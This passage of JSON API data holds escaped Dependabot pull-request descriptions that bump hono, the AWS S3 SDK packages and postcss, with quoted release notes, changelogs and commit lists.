href=\"https://redirect.github.com/honojs/hono/pull/5067\"\u003ehonojs/hono#5067\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: avoid circular dependency between body.ts and request.ts by \u003ca href=\"https://github.com/usualoma\"\u003e\u003ccode\u003e@​usualoma\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5071\"\u003ehonojs/hono#5071\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(bun): report the requested subprotocol on WSContext.protocol by \u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5059\"\u003ehonojs/hono#5059\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: bump \u003ccode\u003edevDependencies\u003c/code\u003e by \u003ca href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5085\"\u003ehonojs/hono#5085\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(aws-lambda): detect V2 events by request context, not rawPath alone by \u003ca href=\"https://github.com/VihaanAgarwal\"\u003e\u003ccode\u003e@​VihaanAgarwal\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5033\"\u003ehonojs/hono#5033\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(context-storage): fix JSDoc by \u003ca href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5086\"\u003ehonojs/hono#5086\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/EduardF1\"\u003e\u003ccode\u003e@​EduardF1\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5047\"\u003ehonojs/hono#5047\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5059\"\u003ehonojs/hono#5059\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/VihaanAgarwal\"\u003e\u003ccode\u003e@​VihaanAgarwal\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5033\"\u003ehonojs/hono#5033\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/honojs/hono/compare/v4.12.27...v4.12.28\"\u003ehttps://github.com/honojs/hono/compare/v4.12.27...v4.12.28\u003c/a\u003e\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/honojs/hono/commit/b2ae3a2204a48ce15a26448fd746d39745eb1837\"\u003e\u003ccode\u003eb2ae3a2\u003c/code\u003e\u003c/a\u003e 4.12.30\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/honojs/hono/commit/e0cdeb0a89e777e6b2d75c59f516962670fb47dc\"\u003e\u003ccode\u003ee0cdeb0\u003c/code\u003e\u003c/a\u003e fix(method-override): set duplex when forwarding a stream body in query mode ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/honojs/hono/commit/653025e5c3a5eaf3b0e50d338250f601d7a5e56a\"\u003e\u003ccode\u003e653025e\u003c/code\u003e\u003c/a\u003e fix(client): replaceUrlParam should not match a param that prefixes another (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/honojs/hono/commit/67efb27f7bcba7a99cae7779b7eb71c3fcada8d8\"\u003e\u003ccode\u003e67efb27\u003c/code\u003e\u003c/a\u003e fix(compress): do not compress 206 Partial Content responses (\u003ca href=\"https://redirect.github.com/honojs/hono/issues/5020\"\u003e#5020\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/honojs/hono/commit/a48c8bf248eec5c2ecd468be5054c0d260a0dbfe\"\u003e\u003ccode\u003ea48c8bf\u003c/code\u003e\u003c/a\u003e fix(cache): deduplicate Cache-Control directives case-insensitively (\u003ca href=\"https://redirect.github.com/honojs/hono/issues/5025\"\u003e#5025\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/honojs/hono/commit/3bb9a0e3a7dc0083061e91e885b2e9308585ee40\"\u003e\u003ccode\u003e3bb9a0e\u003c/code\u003e\u003c/a\u003e chore: update to ts6 in prep for ts7 (\u003ca href=\"https://redirect.github.com/honojs/hono/issues/5104\"\u003e#5104\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/honojs/hono/commit/d3f97caa29bba1f1ae31a4e023c25224aa2a4261\"\u003e\u003ccode\u003ed3f97ca\u003c/code\u003e\u003c/a\u003e chore(benchmark): remove not used benchmarks (\u003ca href=\"https://redirect.github.com/honojs/hono/issues/5108\"\u003e#5108\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/honojs/hono/commit/29a3f73fd5ebab6c96c08e0607e801efa99bb954\"\u003e\u003ccode\u003e29a3f73\u003c/code\u003e\u003c/a\u003e chore(benchmark/routers): bump deps (\u003ca href=\"https://redirect.github.com/honojs/hono/issues/5107\"\u003e#5107\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/honojs/hono/commit/cda1af200256fa9a014bbcc2fdf79db201a627b6\"\u003e\u003ccode\u003ecda1af2\u003c/code\u003e\u003c/a\u003e 4.12.29\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/honojs/hono/commit/2126289c15b0f87fb928645c4ed92d0f81d21cd4\"\u003e\u003ccode\u003e2126289\u003c/code\u003e\u003c/a\u003e fix(etag): treat If-None-Match: \u003ccode\u003e*\u003c/code\u003e as a match (\u003ca href=\"https://redirect.github.com/honojs/hono/issues/5084\"\u003e#5084\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/honojs/hono/compare/v4.11.4...v4.12.30\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for hono since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@aws-sdk/client-s3` from 3.971.0 to 3.1086.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/releases\"\u003e@​aws-sdk/client-s3's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.1086.0\u003c/h2\u003e\n\u003ch4\u003e3.1086.0(2026-07-13)\u003c/h4\u003e\n\u003ch5\u003eNew Features\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclients:\u003c/strong\u003e  update client endpoints as of 2026-07-13 (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/22a3bc515d256663596f02b273aaf38b6bf91830\"\u003e22a3bc51\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-guardduty:\u003c/strong\u003e  GuardDuty AI Protection is now publicly available. Findings include Bedrock guardrail details, model details, observation numbers, and continuous scan details. GuardrailArn and GuardrailVersion are deprecated in favor of the guardrails list. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/7456befb0b4c391b0038961f290afa9b8a1cc609\"\u003e7456befb\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-gamelift:\u003c/strong\u003e  Amazon GameLift Servers now includes fleet expiration for managed fleets. A managed fleet expires one year after creation, transitioning to EXPIRED status, emitting a FLEET EXPIRED event, and scaling to zero instances. Expired fleets cannot host new game sessions or increase capacity. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/ca1487cad489ca2e88496be68c6357faf74bf492\"\u003eca1487ca\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-redshift-serverless:\u003c/strong\u003e  Add support for preserving datasharing, zero-ETL and S3 event integrations on snapshot restore to serverless namespace. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/0ed5e330fc88ba16a49ac673962622e8373f85b4\"\u003e0ed5e330\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-elasticsearch-service:\u003c/strong\u003e  Adds support for the EngineMode and UseCase parameters on Amazon Elasticsearch Service domains, enabling GENERAL or OPTIMIZED engine modes and SEARCH, VECTOR, OBSERVABILITY, or MIXED usecases when creating and updating domain configurations. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/f8248f273eafd3d38a85b00a910e8361b88f4234\"\u003ef8248f27\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-lambda:\u003c/strong\u003e  Add Java 8, 11 and 17 on AL2023 (java8.al2023, java11.al2023, java17.al2023) support to AWS Lambda. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/b9cd8db4e16718877328cdde9a8478ffecaee714\"\u003eb9cd8db4\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003eBug Fixes\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecredential-providers:\u003c/strong\u003e  memoization in fromNodeProviderChain (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8185\"\u003e#8185\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/1f878badeb9c7c9484b6ce9dea3af36edd72ff13\"\u003e1f878bad\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eFor list of updated packages, view \u003cstrong\u003eupdated-packages.md\u003c/strong\u003e in \u003cstrong\u003eassets-3.1086.0.zip\u003c/strong\u003e\u003c/p\u003e\n\u003ch2\u003ev3.1085.0\u003c/h2\u003e\n\u003ch4\u003e3.1085.0(2026-07-10)\u003c/h4\u003e\n\u003ch5\u003eNew Features\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclients:\u003c/strong\u003e  update client endpoints as of 2026-07-10 (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/dffbeab020cb30acaf3e126b70df855fbd644b38\"\u003edffbeab0\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-quicksight:\u003c/strong\u003e  Provides CreateKnowledgeBase and UpdateKnowledgeBase APIs (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/42de55235e68fccff5f36ba5dddd4f6026b9c4f4\"\u003e42de5523\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-inspector2:\u003c/strong\u003e  Support for 3 day and 7 day ECR re-scan durations (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/4b0b5c86d1c0c228751d3ad42287c96599982eab\"\u003e4b0b5c86\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-lambda:\u003c/strong\u003e  Added TelemetryConfig support for Managed Instances Capacity Provider, enabling customers to configure system log level and custom log group for managed instance logging. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/6338813981e21da09c2afff2774453bfeed8b0de\"\u003e63388139\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-sagemaker:\u003c/strong\u003e  Release support for g4d, c6g, c7g, c8g instance types for SageMaker HyperPod (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/800976de4cc075bdd3f835982236e646e2871566\"\u003e800976de\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-ec2:\u003c/strong\u003e  New Amazon EC2 instances. M9g, M9gd, C9g, and C9gd on AWS Graviton5. C8in, M8in, and R8in add 600 Gbps network. C8ib, M8ib, and R8ib add 300 Gbps EBS. C8ine, M8ine, M8idn, R8idn, M8idb, and R8idb round out Intel Xeon 6. Mac-m3ultra with Apple M3 Ultra. G7 with NVIDIA RTX PRO 4500 Blackwell GPUs. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/35aaf38707d66fa250c40fbef879fb9254a38cab\"\u003e35aaf387\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-license-manager:\u003c/strong\u003e  Added the ResetUsage field to the CreateLicenseVersion API. When set to true, the entitlement usage counts for the license are reset to 0. If it is false or not specified, entitlement usage is left unchanged. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/52f1c9c03192532f8d7fd99fbd9a3a1a567df6ad\"\u003e52f1c9c0\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-cloudwatch:\u003c/strong\u003e  CloudWatch now assigns a unique identifier to each anomaly detector. PutAnomalyDetector and DescribeAnomalyDetectors return this AnomalyDetectorId, which you can use to describe or delete a specific anomaly detector directly. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/36fc0ee52f520bcd30676ec8954140309719677f\"\u003e36fc0ee5\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eFor list of updated packages, view \u003cstrong\u003eupdated-packages.md\u003c/strong\u003e in \u003cstrong\u003eassets-3.1085.0.zip\u003c/strong\u003e\u003c/p\u003e\n\u003ch2\u003ev3.1084.0\u003c/h2\u003e\n\u003ch4\u003e3.1084.0(2026-07-09)\u003c/h4\u003e\n\u003ch5\u003eNew Features\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclient-connect:\u003c/strong\u003e  Amazon Connect - Added DeleteContactData API to support PII deletion of customer endpoint, additional email recipients and email subject. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/87f4ae0edee3b09fccf660a9ec06f3819c0de033\"\u003e87f4ae0e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-guardduty:\u003c/strong\u003e  Adding \u0026quot;AI Analyst\u0026quot; enum value for detector (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/20518a4ffa622068a3452405a2d56565a5076ed3\"\u003e20518a4f\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-synthetics:\u003c/strong\u003e  CloudWatch Synthetics adds support for customer managed KMS keys for canary environment variables. Customers can now encrypt their canary's Lambda function environment variables at rest using their own AWS KMS key, providing additional control over data protection. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/c7379151145d04c34200a72783f0439873519b6d\"\u003ec7379151\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-ec2:\u003c/strong\u003e  Added support for additional override parameters in CreateFleet, including LaunchTemplateSpecificationUserData, KeyName, IamInstanceProfile, and MetadataOptions. The CreateFleet response now also includes SubnetId, AvailabilityZone, and AvailabilityZoneId for launched instances. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/6fcc95d184daf8db8b4ab131932b86d011628deb\"\u003e6fcc95d1\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-ivs:\u003c/strong\u003e  adds support for AWS IVS ad configuration APIs to allow for a postRollConfiguration object on the ad configuration resource (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/7dd93c48dbdb50fe7039cbb94071c73249bc6419\"\u003e7dd93c48\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/blob/main/clients/client-s3/CHANGELOG.md\"\u003e@​aws-sdk/client-s3's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1085.0...v3.1086.0\"\u003e3.1086.0\u003c/a\u003e (2026-07-13)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1084.0...v3.1085.0\"\u003e3.1085.0\u003c/a\u003e (2026-07-10)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1083.0...v3.1084.0\"\u003e3.1084.0\u003c/a\u003e (2026-07-09)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1082.0...v3.1083.0\"\u003e3.1083.0\u003c/a\u003e (2026-07-08)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1081.0...v3.1082.0\"\u003e3.1082.0\u003c/a\u003e (2026-07-08)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1080.0...v3.1081.0\"\u003e3.1081.0\u003c/a\u003e (2026-07-07)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1079.0...v3.1080.0\"\u003e3.1080.0\u003c/a\u003e (2026-07-06)\u003c/h1\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/64c3e5021b1deb2f3b3ff16ee6bdf73426a580c4\"\u003e\u003ccode\u003e64c3e50\u003c/code\u003e\u003c/a\u003e Publish v3.1086.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/8d0b4988c22db47c3ace06cb8c56655e3d7f055b\"\u003e\u003ccode\u003e8d0b498\u003c/code\u003e\u003c/a\u003e Publish v3.1085.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/c34ce8a189bade665bbd8b79d291a2971f9d0672\"\u003e\u003ccode\u003ec34ce8a\u003c/code\u003e\u003c/a\u003e Publish v3.1084.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/ceb9aeec0cc3c34d2713ef09a6ee61fb1595ea19\"\u003e\u003ccode\u003eceb9aee\u003c/code\u003e\u003c/a\u003e Publish v3.1083.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/9d72bc2930426ebee73da6a72df0f495be4e7db9\"\u003e\u003ccode\u003e9d72bc2\u003c/code\u003e\u003c/a\u003e chore(core/client): remove TypeScript version user-agent metric (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3/issues/8177\"\u003e#8177\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/afc374045ee7449e93b256c1817dad02d409be71\"\u003e\u003ccode\u003eafc3740\u003c/code\u003e\u003c/a\u003e Publish v3.1082.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/f8b4987c1d5b52966d536b36200496ea490327b1\"\u003e\u003ccode\u003ef8b4987\u003c/code\u003e\u003c/a\u003e chore(codegen): sync for isolatedModules tsconfig and server metrics recorder...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/8f43c790d2d05f793e719773f74ee10e0f49f00d\"\u003e\u003ccode\u003e8f43c79\u003c/code\u003e\u003c/a\u003e chore(deps): bump '\u003ccode\u003e@​smithy/core\u003c/code\u003e' to ^3.29.1 (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3/issues/8167\"\u003e#8167\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/02d5abffc1e930685593dcfc324470568f9a043b\"\u003e\u003ccode\u003e02d5abf\u003c/code\u003e\u003c/a\u003e Publish v3.1081.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/be034d9a6cc365358a4da3ab171fb7c930047717\"\u003e\u003ccode\u003ebe034d9\u003c/code\u003e\u003c/a\u003e Publish v3.1080.0\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commits/v3.1086.0/clients/client-s3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@aws-sdk/s3-request-presigner` from 3.971.0 to 3.1086.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/releases\"\u003e@​aws-sdk/s3-request-presigner's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.1086.0\u003c/h2\u003e\n\u003ch4\u003e3.1086.0(2026-07-13)\u003c/h4\u003e\n\u003ch5\u003eNew Features\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cst...\n\n_Description has been truncated_","html_url":"https://github.com/azoila/openmdm/pull/23","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/azoila%2Fopenmdm/issues/23","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/23/packages"}},{"old_version":"8.5.16","new_version":"8.5.19","update_type":"patch","path":null,"pr_created_at":"2026-07-14T00:43:57.000Z","version_change":"8.5.16 → 8.5.19","issue":{"uuid":"4878836941","node_id":"PR_kwDONnaP-s7xVDfk","number":82,"state":"closed","title":"Bump postcss from 8.5.16 to 8.5.19","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-07-21T00:43:16.000Z","author_association":null,"state_reason":null,"created_at":"2026-07-14T00:43:57.000Z","updated_at":"2026-07-21T00:43:18.000Z","time_to_close":604759,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"postcss","old_version":"8.5.16","new_version":"8.5.19","repository_url":"https://github.com/postcss/postcss"}],"path":null,"ecosystem":"npm"},"body":"Bumps [postcss](https://github.com/postcss/postcss) from 8.5.16 to 8.5.19.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/9543b22769bef5bcd47600fbca752204c106cda8\"\u003e\u003ccode\u003e9543b22\u003c/code\u003e\u003c/a\u003e Release 8.5.19 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/3d13bf9360652922de0535f6257e1648187363f0\"\u003e\u003ccode\u003e3d13bf9\u003c/code\u003e\u003c/a\u003e Fix CI on Windows too\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/00d0dd2322162f6083d507ea6954685e1c92f165\"\u003e\u003ccode\u003e00d0dd2\u003c/code\u003e\u003c/a\u003e Keep explicitly set raws.before when inserting nodes into root (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2111\"\u003e#2111\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/7a05b33e7a15d6f80d90098784170ad3dca39180\"\u003e\u003ccode\u003e7a05b33\u003c/code\u003e\u003c/a\u003e Temporary fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/4c0d194c136fd374495d0993c890d794cab65b81\"\u003e\u003ccode\u003e4c0d194\u003c/code\u003e\u003c/a\u003e Release 8.5.18 version\u003c/li\u003e\n\u003cli\u003e\u003ca 